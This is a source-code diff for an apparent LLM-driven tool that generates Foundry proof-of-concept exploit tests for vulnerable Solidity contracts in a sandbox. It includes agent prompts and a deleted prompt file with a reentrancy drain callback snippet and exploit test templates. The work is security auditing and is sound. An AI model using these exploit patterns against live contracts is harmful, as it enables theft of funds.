| 1 |
+
import fs from "fs/promises";
|
| 2 |
+
import path from "path";
|
| 3 |
+
import { PoCState } from "../state.js";
|
| 4 |
+
import { generateLocalScaffold } from "../tools/scaffoldGenerator.js";
|
| 5 |
+
import { extractConstructor } from "../utils/parserUtils.js";
|
| 6 |
+
import { analyzeSolidityFile } from "../../auditor/tools/solidity-analyzer-tool.js";
|
| 7 |
+
import { extractProjectContext } from "../utils/projectContextExtractor.js";
|
| 8 |
+
import { createMissingDependencyStubs } from "../utils/dependencyStubber.js";
|
| 9 |
+
import { OracleContext } from "../types.js";
|
| 10 |
+
|
| 11 |
+
export async function oracleNode(state: PoCState): Promise<Partial<PoCState>> {
|
| 12 |
+
console.log("[oracleNode] gerando scaffold para:", state.report.title);
|
| 13 |
+
|
| 14 |
+
const solidityScaffold = generateLocalScaffold(state.report);
|
| 15 |
+
|
| 16 |
+
const constructorInfo = extractConstructor(state.report.affectedContract.sourceCode, state.report.affectedContract.name);
|
| 17 |
+
|
| 18 |
+
console.log("[oracleNode] analisando API do contrato e helpers de teste...");
|
| 19 |
+
const targetContractAPI = await analyzeSolidityFile(state.report.affectedContract.sourceCode, "short");
|
| 20 |
+
|
| 21 |
+
let referenceTestHelpers = "";
|
| 22 |
+
if (state.report.referenceTestCode) {
|
| 23 |
+
referenceTestHelpers = await analyzeSolidityFile(state.report.referenceTestCode, "short");
|
| 24 |
+
}
|
| 25 |
+
|
| 26 |
+
let projectRemappings = "";
|
| 27 |
+
let projectTestImports = "";
|
| 28 |
+
let projectTestFilePath: string | null = null;
|
| 29 |
+
if (state.report.customSandboxDir) {
|
| 30 |
+
console.log("[oracleNode] extracting project context (remappings, test imports)...");
|
| 31 |
+
try {
|
| 32 |
+
const projectCtx = await extractProjectContext(state.report.customSandboxDir);
|
| 33 |
+
projectRemappings = projectCtx.remappings;
|
| 34 |
+
projectTestImports = projectCtx.existingTestImports;
|
| 35 |
+
projectTestFilePath = projectCtx.existingTestFilePath;
|
| 36 |
+
} catch (e) {
|
| 37 |
+
console.warn("[oracleNode] could not extract project context:", (e as Error).message);
|
| 38 |
+
}
|
| 39 |
+
|
| 40 |
+
try {
|
| 41 |
+
const testDir = path.join(state.report.customSandboxDir, "test");
|
| 42 |
+
const testEntries = await fs.readdir(testDir, { withFileTypes: true }).catch(() => []);
|
| 43 |
+
let removed = 0;
|
| 44 |
+
for (const entry of testEntries) {
|
| 45 |
+
if (entry.isFile() && entry.name.endsWith(".t.sol") && entry.name !== "Exploit.t.sol") {
|
| 46 |
+
await fs.unlink(path.join(testDir, entry.name));
|
| 47 |
+
removed++;
|
| 48 |
+
}
|
| 49 |
+
}
|
| 50 |
+
} catch (e) {
|
| 51 |
+
console.warn("[oracleNode] test cleanup failed:", (e as Error).message);
|
| 52 |
+
}
|
| 53 |
+
|
| 54 |
+
try {
|
| 55 |
+
await createMissingDependencyStubs(state.report.customSandboxDir);
|
| 56 |
+
} catch (e) {
|
| 57 |
+
console.warn("[oracleNode] stub creation failed:", (e as Error).message);
|
| 58 |
+
}
|
| 59 |
+
}
|
| 60 |
+
|
| 61 |
+
const oracleContext: OracleContext = {
|
| 62 |
+
solidityScaffold,
|
| 63 |
+
constructorInfo: constructorInfo?.parameters,
|
| 64 |
+
targetContractAPI,
|
| 65 |
+
referenceTestHelpers,
|
| 66 |
+
projectRemappings,
|
| 67 |
+
projectTestImports,
|
| 68 |
+
projectTestFilePath,
|
| 69 |
+
};
|
| 70 |
+
|
| 71 |
+
// DETERMINISTIC TEMPLATE GENERATION
|
| 72 |
+
const targetName = state.report.affectedContract.name;
|
| 73 |
+
let setupArgs = "";
|
| 74 |
+
if (constructorInfo?.parameters && Array.isArray(constructorInfo.parameters)) {
|
| 75 |
+
const params = constructorInfo.parameters.map((p: any) => p.type === "address" ? "address(this)" : "0").join(", ");
|
| 76 |
+
setupArgs = params;
|
| 77 |
+
}
|
| 78 |
+
|
| 79 |
+
// Parse projectTestImports to extract only the import paths if any
|
| 80 |
+
let imports = `import "forge-std/Test.sol";\nimport "forge-std/console.sol";`;
|
| 81 |
+
if (projectTestImports) {
|
| 82 |
+
imports += "\n" + projectTestImports;
|
| 83 |
+
}
|
| 84 |
+
|
| 85 |
+
// Use relative path for target based on report or assume src/
|
| 86 |
+
const targetFile = state.report.affectedContract.sourceFilePath ? `../${state.report.affectedContract.sourceFilePath}` : `../src/${targetName}.sol`;
|
| 87 |
+
imports += `\nimport { ${targetName} } from "${targetFile}";`;
|
| 88 |
+
|
| 89 |
+
const templateCode = `// SPDX-License-Identifier: UNLICENSED
|
| 90 |
+
pragma solidity ^0.8.0;
|
| 91 |
+
|
| 92 |
+
${imports}
|
| 93 |
+
|
| 94 |
+
contract ExploitTest is Test {
|
| 95 |
+
${targetName} target;
|
| 96 |
+
address constant ATTACKER = address(0xBEEF);
|
| 97 |
+
|
| 98 |
+
function setUp() public virtual {
|
| 99 |
+
target = new ${targetName}(${setupArgs});
|
| 100 |
+
vm.deal(ATTACKER, 100 ether);
|
| 101 |
+
require(address(target) != address(0), "Target must be deployed");
|
| 102 |
+
}
|
| 103 |
+
|
| 104 |
+
function test_Exploit() public {
|
| 105 |
+
// INJECT_HACK
|
| 106 |
+
}
|
| 107 |
+
}`;
|
| 108 |
+
|
| 109 |
+
console.log("[oracleNode] scaffold gerado, context built. Deterministic Template generated.");
|
| 110 |
+
return {
|
| 111 |
+
oracleContext,
|
| 112 |
+
templateCode,
|
| 113 |
+
pocCode: templateCode, // Sets initial state so foundry can try compiling it
|
| 114 |
+
infrastructurePhase: false // SKIPPING INFRA LOOP!
|
| 115 |
+
};
|
| 116 |
+
}
|
src/agents/tester/nodes/pocoAgent.ts
ADDED
|
@@ -0,0 +1,114 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
import { HumanMessage, SystemMessage, AIMessage } from "@langchain/core/messages";
|
| 2 |
+
import { PoCState } from "../state.js";
|
| 3 |
+
import { pocoTools } from "../tools.js";
|
| 4 |
+
import { createLLM } from "../../../config/llm.js";
|
| 5 |
+
|
| 6 |
+
const MAX_STEPS = 30; // Max tool calls threshold
|
| 7 |
+
const MAX_COST_USD = 3.0; // Max cost threshold
|
| 8 |
+
|
| 9 |
+
// Initialize the model and bind tools
|
| 10 |
+
const model = createLLM().bindTools(pocoTools);
|
| 11 |
+
|
| 12 |
+
const POCO_SYSTEM_PROMPT = `You are an expert smart contract security testing specialist. Generate executable Proof-of-Concept (PoC) exploits demonstrating vulnerabilities using Foundry.
|
| 13 |
+
|
| 14 |
+
## PoC Explainability
|
| 15 |
+
Write exploits as executable demonstrations that clearly prove the vulnerability. Include detailed comments documenting each attack step, the vulnerability being exploited, and why the exploit succeeds. The PoC must be self-explanatory to security auditors.
|
| 16 |
+
|
| 17 |
+
## Vulnerability Analysis
|
| 18 |
+
Parse the vulnerability description (annotation) and analyze the vulnerability type, affected code sections, and potential impact. Analyze the contract logic to understand the root cause before developing exploits.
|
| 19 |
+
|
| 20 |
+
## Testing Framework Guidelines
|
| 21 |
+
Use Foundry exclusively for testing. Implement proper \`setUp()\` functions with realistic contract states: i.e. initializing contracts with typical production values (reasonable token balances, realistic timestamps, standard protocol roles assigned). Utilize Foundry cheatcodes for test control: \`vm.prank()\` for identity switching, \`vm.deal()\` for ETH funding, \`vm.warp()\` for time manipulation, \`vm.expectRevert()\` for failure testing. Structure tests following Foundry conventions with clear test function names prefixed with \`test\`.
|
| 22 |
+
|
| 23 |
+
## PoC Executability
|
| 24 |
+
Ensure all generated code compiles successfully with the specified Solidity version. Verify that tests pass (exploits vulnerability) when the vulnerability exists and fail when properly patched. Use \`smart_contract_compile\` and \`smart_contract_test\` to validate. Resolve all compilation errors, import issues, and version conflicts while preserving original contract logic.
|
| 25 |
+
|
| 26 |
+
## Iterative Refinement
|
| 27 |
+
Debug compilation errors, test failures, and logical inconsistencies systematically using forge output and detailed error messages. For import path errors, use \`grep_search\` to find the correct pattern. Continuously improve until tests compile, execute successfully, and accurately demonstrate the vulnerability. If stuck on the same technical issue for >3 attempts, shift to a minimal working demonstration—proving the vulnerability exists matters more than perfect test coverage or setup complexity.
|
| 28 |
+
|
| 29 |
+
## Exploit Soundness
|
| 30 |
+
Ensure exploits logically reflect the described vulnerability. The attack vector must accurately represent the security issue. Avoid false positives—exploits should fail if the vulnerability is fixed. Verify that the PoC demonstrates the actual impact described in the vulnerability description (annotation).
|
| 31 |
+
|
| 32 |
+
## Exploit Quality
|
| 33 |
+
Keep PoCs minimal and focused. Write only the test file—never modify contracts under test or the original codebase. Reuse existing test infrastructure when available. Create helper contracts or mocks only when the exploit requires them. Avoid assumptions about undocumented contract behavior.`;
|
| 34 |
+
|
| 35 |
+
function calculateCost(inputTokens: number, outputTokens: number): number {
|
| 36 |
+
// Claude 3.5 Sonnet pricing: $3.00 / 1M input tokens, $15.00 / 1M output tokens
|
| 37 |
+
const inputCost = (inputTokens / 1_000_000) * 3.0;
|
| 38 |
+
const outputCost = (outputTokens / 1_000_000) * 15.0;
|
| 39 |
+
return inputCost + outputCost;
|
| 40 |
+
}
|
| 41 |
+
|
| 42 |
+
export async function pocoAgentNode(state: PoCState): Promise<Partial<PoCState>> {
|
| 43 |
+
let messages = state.messages || [];
|
| 44 |
+
|
| 45 |
+
// Check limits
|
| 46 |
+
if (state.toolCallCount >= MAX_STEPS) {
|
| 47 |
+
return {
|
| 48 |
+
status: "failed",
|
| 49 |
+
lastError: `Max tool calls (${MAX_STEPS}) exceeded.`,
|
| 50 |
+
};
|
| 51 |
+
}
|
| 52 |
+
if (state.totalCost >= MAX_COST_USD) {
|
| 53 |
+
return {
|
| 54 |
+
status: "failed",
|
| 55 |
+
lastError: `Max cost ($${MAX_COST_USD}) exceeded. Current cost: $${state.totalCost.toFixed(2)}`,
|
| 56 |
+
};
|
| 57 |
+
}
|
| 58 |
+
|
| 59 |
+
// If this is the first iteration, inject system prompt and task prompt
|
| 60 |
+
let initialMessages: any[] = [];
|
| 61 |
+
if (messages.length === 0) {
|
| 62 |
+
const sandboxDir = state.report.customSandboxDir || process.cwd();
|
| 63 |
+
const targetFile = state.report.affectedContract.sourceFilePath || state.report.affectedContract.name;
|
| 64 |
+
const desc = state.report.description || state.report.title;
|
| 65 |
+
|
| 66 |
+
// Original PoCo prompt
|
| 67 |
+
const taskPrompt = `Create a vulnerability exposing PoC forge test for the vulnerable contract at ${targetFile} using the vulnerability description: ${desc}. Use the write_file tool to save your PoC code to test/Exploit.t.sol. Write ONLY the test file, test ONLY the described vulnerability, and do NOT modify the original contract. Iterate on compilation, test, and logical errors using the smart_contract_compile and smart_contract_test tools. You are done when the test compiles and successfully demonstrates the vulnerability through passing assertions. Note: your execution sandbox is ${sandboxDir}. Ensure all commands target this directory.`;
|
| 68 |
+
|
| 69 |
+
initialMessages = [
|
| 70 |
+
new SystemMessage(POCO_SYSTEM_PROMPT),
|
| 71 |
+
new HumanMessage(taskPrompt)
|
| 72 |
+
];
|
| 73 |
+
messages = initialMessages;
|
| 74 |
+
}
|
| 75 |
+
|
| 76 |
+
// Invoke model
|
| 77 |
+
console.log(`[pocoAgent] Invoking model (Steps: ${state.toolCallCount}/${MAX_STEPS}, Cost: $${state.totalCost.toFixed(2)})...`);
|
| 78 |
+
let response;
|
| 79 |
+
let runCost = 0;
|
| 80 |
+
|
| 81 |
+
let attempts = 0;
|
| 82 |
+
while (attempts < 3) {
|
| 83 |
+
try {
|
| 84 |
+
response = await model.invoke(messages, {
|
| 85 |
+
configurable: { sandboxDir: state.report.customSandboxDir || process.cwd() }
|
| 86 |
+
});
|
| 87 |
+
|
| 88 |
+
// Calculate costs
|
| 89 |
+
if (response.response_metadata?.tokenUsage) {
|
| 90 |
+
const usage: any = response.response_metadata.tokenUsage;
|
| 91 |
+
runCost = calculateCost(usage.promptTokens || usage.input_tokens || usage.prompt_tokens || 0, usage.completionTokens || usage.output_tokens || usage.completion_tokens || 0);
|
| 92 |
+
}
|
| 93 |
+
break; // Success, exit retry loop
|
| 94 |
+
} catch (err: any) {
|
| 95 |
+
attempts++;
|
| 96 |
+
console.log(`[pocoAgent] API Error (attempt ${attempts}): ${err.message}`);
|
| 97 |
+
if (attempts >= 3) {
|
| 98 |
+
return {
|
| 99 |
+
messages: [new HumanMessage(`Model API Error after 3 attempts: ${err.message}.`)],
|
| 100 |
+
status: "failed",
|
| 101 |
+
lastError: err.message
|
| 102 |
+
};
|
| 103 |
+
}
|
| 104 |
+
// Wait 10 seconds before retrying (in case of strict rate limits)
|
| 105 |
+
await new Promise(r => setTimeout(r, 10000));
|
| 106 |
+
}
|
| 107 |
+
}
|
| 108 |
+
|
| 109 |
+
return {
|
| 110 |
+
messages: [...initialMessages, response],
|
| 111 |
+
totalCost: runCost,
|
| 112 |
+
iterations: 1, // Add 1 to total iterations tracking
|
| 113 |
+
};
|
| 114 |
+
}
|
src/agents/tester/nodes/router.ts
ADDED
|
@@ -0,0 +1,32 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
import { PoCState } from "../state.js";
|
| 2 |
+
|
| 3 |
+
export const CATEGORY_REENTRANCY = "REENTRANCY";
|
| 4 |
+
export const CATEGORY_ACCESS_CONTROL = "ACCESS_CONTROL";
|
| 5 |
+
export const CATEGORY_ARITHMETIC = "ARITHMETIC";
|
| 6 |
+
export const CATEGORY_LOGIC = "LOGIC";
|
| 7 |
+
export const CATEGORY_DEFAULT = "DEFAULT";
|
| 8 |
+
|
| 9 |
+
export async function routerNode(state: PoCState): Promise<Partial<PoCState>> {
|
| 10 |
+
console.log("[routerNode] Classifying vulnerability deterministically...");
|
| 11 |
+
|
| 12 |
+
const type = (state.report.type || "").toLowerCase();
|
| 13 |
+
const desc = (state.report.description || "").toLowerCase();
|
| 14 |
+
|
| 15 |
+
const combined = `${type} ${desc}`;
|
| 16 |
+
|
| 17 |
+
let category = CATEGORY_DEFAULT;
|
| 18 |
+
|
| 19 |
+
if (combined.includes("reentrancy") || combined.includes("re-entrancy") || combined.includes("fallback")) {
|
| 20 |
+
category = CATEGORY_REENTRANCY;
|
| 21 |
+
} else if (combined.includes("access control") || combined.includes("unauthorized") || combined.includes("onlyowner") || combined.includes("permission")) {
|
| 22 |
+
category = CATEGORY_ACCESS_CONTROL;
|
| 23 |
+
} else if (combined.includes("overflow") || combined.includes("underflow") || combined.includes("arithmetic") || combined.includes("math")) {
|
| 24 |
+
category = CATEGORY_ARITHMETIC;
|
| 25 |
+
} else if (combined.includes("logic") || combined.includes("validation") || combined.includes("bypass")) {
|
| 26 |
+
category = CATEGORY_LOGIC;
|
| 27 |
+
}
|
| 28 |
+
|
| 29 |
+
console.log(`[routerNode] Classified as: ${category}`);
|
| 30 |
+
|
| 31 |
+
return { vulnerabilityCategory: category };
|
| 32 |
+
}
|
src/agents/tester/prompts/system.ts
DELETED
|
@@ -1,297 +0,0 @@
|
|
| 1 |
-
export const SYSTEM_PROMPT = `You are an expert smart contract security testing specialist. Your mission is to generate executable Proof-of-Concept (PoC) exploits demonstrating vulnerabilities using Foundry.
|
| 2 |
-
|
| 3 |
-
## General Guidelines
|
| 4 |
-
- Use Foundry exclusively.
|
| 5 |
-
- Use \`vm.prank()\`, \`vm.deal()\`, \`vm.warp()\`, \`vm.expectRevert()\` as needed.
|
| 6 |
-
- **NO PLACEHOLDER TESTS OR TAUTOLOGIES:** Never write a test that only contains \`assertTrue(true)\` or asserts a constant against a constant (e.g. \`assertEq(DEFAULT_ADMIN_ROLE, 0x00)\`). You MUST use concrete assertions to prove a STATE CHANGE caused by the exploit.
|
| 7 |
-
- **NO MOCKS:** You must test the actual contract from the repository. Do not declare \`contract Mock\` in the test.
|
| 8 |
-
- **Context Compliance:** Reuse existing imports and setup patterns found in the provided code/reference tests.
|
| 9 |
-
- DO NOT rename \`test_Exploit()\`.
|
| 10 |
-
`.trim();
|
| 11 |
-
|
| 12 |
-
export const ANALYZE_VULNERABILITY_PROMPT = `You are an expert smart contract security analyst. Analyze the vulnerability in the following Solidity contract.
|
| 13 |
-
|
| 14 |
-
Focus on understanding the root cause and the precise mechanism needed to trigger it in a Foundry test.
|
| 15 |
-
|
| 16 |
-
Please provide a concise technical plan covering:
|
| 17 |
-
1. **Root cause**: What exactly is the bug at the code level?
|
| 18 |
-
2. **Trigger conditions**: What state must the contract be in? What parameters or roles are needed?
|
| 19 |
-
3. **Exploit steps**: Numbered, concrete step-by-step actions to trigger the vulnerability.
|
| 20 |
-
4. **Assertion**: What specific \`assertEq\` / \`assertGt\` / \`assertLt\` statement will prove the vulnerability exists AND would fail if the vulnerability were patched? (e.g., "assertGt(attacker.balance, initialBalance)" or "assertEq(owner, attacker)")
|
| 21 |
-
|
| 22 |
-
Be precise and actionable. Your plan will be directly used to write Foundry test code.
|
| 23 |
-
`.trim();
|
| 24 |
-
|
| 25 |
-
export const POC_INITIAL_PROMPT = `You are an expert smart contract security tester. Based on the vulnerability analysis plan provided, generate a complete Foundry Proof of Concept (PoC) test file.
|
| 26 |
-
|
| 27 |
-
## CRITICAL IMPORT RULES
|
| 28 |
-
- You MUST use the project's own import paths (see "Project Remappings" and "Import Pattern from Existing Test" if provided).
|
| 29 |
-
- If remappings are provided (e.g., \`@openzeppelin/=lib/openzeppelin-contracts/\`), use them exactly as listed.
|
| 30 |
-
- If an existing test shows \`import {Foo} from "project/Foo.sol"\`, follow that exact pattern.
|
| 31 |
-
- If you are NOT sure about the import path for an external dependency, AVOID importing it. Use a minimal interface or mock instead.
|
| 32 |
-
- The contract under test is already in the sandbox — use a relative import like \`import { ContractName } from "../src/ContractName.sol"\` unless remappings say otherwise.
|
| 33 |
-
|
| 34 |
-
## QUALITY RULES
|
| 35 |
-
- The final assertion MUST prove the vulnerability. It should use assertEq, assertGt, assertLt, assertGe, assertLe, or assertNotEq with meaningful values.
|
| 36 |
-
- NEVER write \`assertTrue(true)\` or \`assert(true)\`. This is an automatic failure.
|
| 37 |
-
- The assertion must be specific enough that it would FAIL on a patched version of the contract.
|
| 38 |
-
- Output ONLY a single \`\`\`solidity ... \`\`\` block with the complete file.
|
| 39 |
-
|
| 40 |
-
## FALLBACK STRATEGY
|
| 41 |
-
If the contract has complex dependencies that are hard to mock, use this minimal approach:
|
| 42 |
-
1. Declare a minimal interface for the contract with only the functions you need.
|
| 43 |
-
2. Deploy the real contract by importing it directly (relative path).
|
| 44 |
-
3. Call the vulnerable function directly without complex setup.
|
| 45 |
-
`.trim();
|
| 46 |
-
|
| 47 |
-
export const POC_COMPILE_FIX_PROMPT = `The previous PoC test FAILED TO COMPILE. You must fix ALL compilation errors and return the complete corrected file.
|
| 48 |
-
|
| 49 |
-
## IMPORT ERROR STRATEGY (most common fix)
|
| 50 |
-
If the error is about a missing source file or identifier not found:
|
| 51 |
-
1. Check the "Project Remappings" provided — use those exact paths.
|
| 52 |
-
2. Check the "Import Pattern from Existing Test" — copy those import statements exactly.
|
| 53 |
-
3. If you cannot find the right import path, REMOVE that import and replace it with a minimal interface:
|
| 54 |
-
\`\`\`solidity
|
| 55 |
-
interface IERC20 { function transfer(address to, uint256 amount) external returns (bool); }
|
| 56 |
-
\`\`\`
|
| 57 |
-
4. NEVER guess an import path. Only use paths you can verify from the remappings or existing test.
|
| 58 |
-
|
| 59 |
-
## OTHER COMPILATION FIXES
|
| 60 |
-
- Missing type members: declare a minimal struct/interface instead of importing the full library.
|
| 61 |
-
- Visibility errors: check that you're calling public/external functions only.
|
| 62 |
-
- Type mismatches: cast explicitly (e.g., \`uint256(value)\`, \`address(contract)\`).
|
| 63 |
-
- ABI encoding errors: use \`abi.encodeWithSelector(Contract.func.selector, args)\`.
|
| 64 |
-
|
| 65 |
-
## STRICT RULE
|
| 66 |
-
Return the FULL corrected Solidity file in a \`\`\`solidity\`\`\` block. Fix ALL errors in one pass.
|
| 67 |
-
`.trim();
|
| 68 |
-
|
| 69 |
-
export const POC_TEST_FIX_PROMPT = `The PoC compiled successfully but FAILED DURING EXECUTION (revert or assertion failure). Fix the test logic.
|
| 70 |
-
|
| 71 |
-
## REVERT DIAGNOSIS
|
| 72 |
-
If the test reverted without a message:
|
| 73 |
-
1. The call order may be wrong — check what preconditions the contract requires.
|
| 74 |
-
2. A role/permission may be missing — use \`vm.prank(owner)\` to set up roles first.
|
| 75 |
-
3. The contract may need funding — use \`vm.deal(address(contract), amount)\`.
|
| 76 |
-
4. A previous transaction may have changed state — check ordering carefully.
|
| 77 |
-
5. **"call to non-contract address"**: The contract was not deployed yet — you must deploy it in setUp() first.
|
| 78 |
-
|
| 79 |
-
## ASSERTION FAILURE DIAGNOSIS
|
| 80 |
-
If the assertion failed (values didn't match expected):
|
| 81 |
-
1. The exploit logic is incorrect — re-read the vulnerability description carefully.
|
| 82 |
-
2. The vulnerable code path may not be reached — trace with intermediate assertions.
|
| 83 |
-
3. The assertion values may be wrong — recalculate what the expected outcome should be.
|
| 84 |
-
|
| 85 |
-
## REENTRANCY PATTERN
|
| 86 |
-
If testing a reentrancy vulnerability, add a callback to ExploitTest:
|
| 87 |
-
\`\`\`solidity
|
| 88 |
-
uint256 public reentrancyCount;
|
| 89 |
-
uint256 public stolenAmount;
|
| 90 |
-
|
| 91 |
-
receive() external payable {
|
| 92 |
-
if (reentrancyCount < 3 && address(target).balance > 0) {
|
| 93 |
-
reentrancyCount++;
|
| 94 |
-
target.withdraw(/* same amount */);
|
| 95 |
-
}
|
| 96 |
-
stolenAmount += msg.value;
|
| 97 |
-
}
|
| 98 |
-
\`\`\`
|
| 99 |
-
Then assert: \`assertGt(stolenAmount, initialDeposit, "Reentrancy drained more than deposited")\`
|
| 100 |
-
|
| 101 |
-
## UNCHECKED RETURN VALUE PATTERN
|
| 102 |
-
If testing unchecked external call return values:
|
| 103 |
-
\`\`\`solidity
|
| 104 |
-
// The contract ignores the return value of an external call
|
| 105 |
-
// You can demonstrate by causing the call to fail while the contract still proceeds
|
| 106 |
-
bool callSucceeded = target.doExternalCall(params);
|
| 107 |
-
// If the vulnerability is that a false return is ignored:
|
| 108 |
-
assertFalse(callSucceeded, "External call returned false but was ignored");
|
| 109 |
-
// Or show the state changed incorrectly:
|
| 110 |
-
assertEq(target.state(), wrongValue, "State updated despite failed external call");
|
| 111 |
-
\`\`\`
|
| 112 |
-
|
| 113 |
-
## MINIMAL VIABLE EXPLOIT RULE
|
| 114 |
-
If after 2+ failed attempts you cannot get the full exploit to work:
|
| 115 |
-
- Simplify to the most minimal version that demonstrates the bug.
|
| 116 |
-
- A partial demonstration (e.g., wrong state, unauthorized access) is better than nothing.
|
| 117 |
-
- Focus on the ASSERTION — it must prove the vulnerability exists.
|
| 118 |
-
|
| 119 |
-
## STRICT RULE
|
| 120 |
-
Return the FULL corrected Solidity file in a \`\`\`solidity\`\`\` block. Fix ALL errors in one pass.
|
| 121 |
-
`.trim();
|
| 122 |
-
|
| 123 |
-
export const POC_MINIMAL_INTERFACE_PROMPT = `The PoC has failed to compile multiple times due to import errors. You MUST now use the MINIMAL INTERFACE STRATEGY.
|
| 124 |
-
|
| 125 |
-
## MANDATORY RULES — READ CAREFULLY
|
| 126 |
-
1. **REMOVE ALL EXTERNAL IMPORTS** — Do NOT import any library or contract except \`forge-std/Test.sol\`.
|
| 127 |
-
2. **DECLARE EVERYTHING INLINE** — Declare minimal interfaces for every external type you need:
|
| 128 |
-
|
| 129 |
-
\`\`\`solidity
|
| 130 |
-
// Example minimal interfaces — adapt to your contract
|
| 131 |
-
interface ITargetContract {
|
| 132 |
-
function vulnerableFunction(uint256 amount) external returns (bool);
|
| 133 |
-
function balanceOf(address account) external view returns (uint256);
|
| 134 |
-
function owner() external view returns (address);
|
| 135 |
-
}
|
| 136 |
-
|
| 137 |
-
interface IERC20 {
|
| 138 |
-
function transfer(address to, uint256 amount) external returns (bool);
|
| 139 |
-
function approve(address spender, uint256 amount) external returns (bool);
|
| 140 |
-
function balanceOf(address account) external view returns (uint256);
|
| 141 |
-
}
|
| 142 |
-
\`\`\`
|
| 143 |
-
|
| 144 |
-
3. **USE address() CASTS** — If you need a contract type, cast from address: \`ITargetContract(contractAddress)\`
|
| 145 |
-
4. **DEPLOY WITH low-level calls if needed** — If you cannot import the contract, use \`address(new bytes(code))\` or \`ITargetContract(deployedAddress)\`
|
| 146 |
-
5. **THE CONTRACT UNDER TEST IS AT A RELATIVE PATH** — If you must import it, use ONLY: \`import "../src/ContractName.sol"\` (the only safe import besides forge-std)
|
| 147 |
-
|
| 148 |
-
## TEMPLATE
|
| 149 |
-
\`\`\`solidity
|
| 150 |
-
// SPDX-License-Identifier: UNLICENSED
|
| 151 |
-
pragma solidity ^0.8.0;
|
| 152 |
-
|
| 153 |
-
import "forge-std/Test.sol";
|
| 154 |
-
|
| 155 |
-
// Declare ONLY the functions you actually call:
|
| 156 |
-
interface ITarget {
|
| 157 |
-
function theVulnerableFunction(uint256 x) external;
|
| 158 |
-
function someGetter() external view returns (uint256);
|
| 159 |
-
}
|
| 160 |
-
|
| 161 |
-
contract ExploitTest is Test {
|
| 162 |
-
ITarget target;
|
| 163 |
-
address constant ATTACKER = address(0xBEEF);
|
| 164 |
-
|
| 165 |
-
function setUp() public {
|
| 166 |
-
// Import only if absolutely needed — otherwise use the interface
|
| 167 |
-
// target = ITarget(address(new RealContract(constructorArgs)));
|
| 168 |
-
vm.deal(ATTACKER, 100 ether);
|
| 169 |
-
}
|
| 170 |
-
|
| 171 |
-
function test_Exploit() public {
|
| 172 |
-
uint256 before = target.someGetter();
|
| 173 |
-
vm.prank(ATTACKER);
|
| 174 |
-
target.theVulnerableFunction(/* exploit args */);
|
| 175 |
-
uint256 after_ = target.someGetter();
|
| 176 |
-
assertGt(after_, before, "Vulnerability confirmed: value changed unexpectedly");
|
| 177 |
-
}
|
| 178 |
-
}
|
| 179 |
-
\`\`\`
|
| 180 |
-
|
| 181 |
-
Return the FULL corrected Solidity file in a \`\`\`solidity\`\`\` block. Use ONLY forge-std imports and inline interfaces.
|
| 182 |
-
`.trim();
|
| 183 |
-
|
| 184 |
-
// ==========================================
|
| 185 |
-
// NEW TEMPLATE INJECTION ARCHITECTURE PROMPTS
|
| 186 |
-
// ==========================================
|
| 187 |
-
|
| 188 |
-
export const INFRASTRUCTURE_PROMPT = `You are a Smart Contract Testing Infrastructure Engineer. Your ONLY job is to create a compiling Foundry test template.
|
| 189 |
-
DO NOT WRITE THE EXPLOIT.
|
| 190 |
-
|
| 191 |
-
## Rules
|
| 192 |
-
1. Create a contract named \`ExploitTest\` inheriting from \`Test\` (or the project's base test).
|
| 193 |
-
2. Write all necessary \`import\` statements using the provided Project Remappings and existing test examples. If you are unsure where a required struct or contract is defined, **USE YOUR TOOLS (searchCodebase, readFile)** to find it. DO NOT GUESS import paths!
|
| 194 |
-
3. Write ONLY the \`setUp()\` function. It must DEPLOY the target contract, fund the attacker, and prepare the environment.
|
| 195 |
-
- CRITICAL: You MUST actually instantiate the target contract (e.g. \`target = new TargetContract(...)\`).
|
| 196 |
-
- MANDATORY: The instance variable MUST be named \`target\`, and the very last line of \`setUp()\` MUST be: \`require(address(target) != address(0), "Target must be deployed");\`
|
| 197 |
-
4. Declare an EMPTY function named \`test_Exploit()\`. Leave the body exactly as: \`// INJECT_HACK\`
|
| 198 |
-
5. Output ONLY a single \`\`\`solidity ... \`\`\` block.
|
| 199 |
-
6. STRICT RULE: DO NOT WRITE ANY COMMENTS (like // or /*) EXCEPT for the SPDX identifier and the // INJECT_HACK marker. Writing explanatory comments will cause compilation to fail!
|
| 200 |
-
|
| 201 |
-
Target Contract Name: {TARGET_NAME}
|
| 202 |
-
`.trim();
|
| 203 |
-
|
| 204 |
-
export const INFRA_FIX_PROMPT = `The infrastructure template FAILED TO COMPILE OR EXECUTE.
|
| 205 |
-
Your job is to fix the issues so it compiles and executes successfully.
|
| 206 |
-
|
| 207 |
-
## Errors / Logs:
|
| 208 |
-
{ERROR_DETAILS}
|
| 209 |
-
|
| 210 |
-
## Rules
|
| 211 |
-
- Fix missing files by adjusting import paths using the Remappings.
|
| 212 |
-
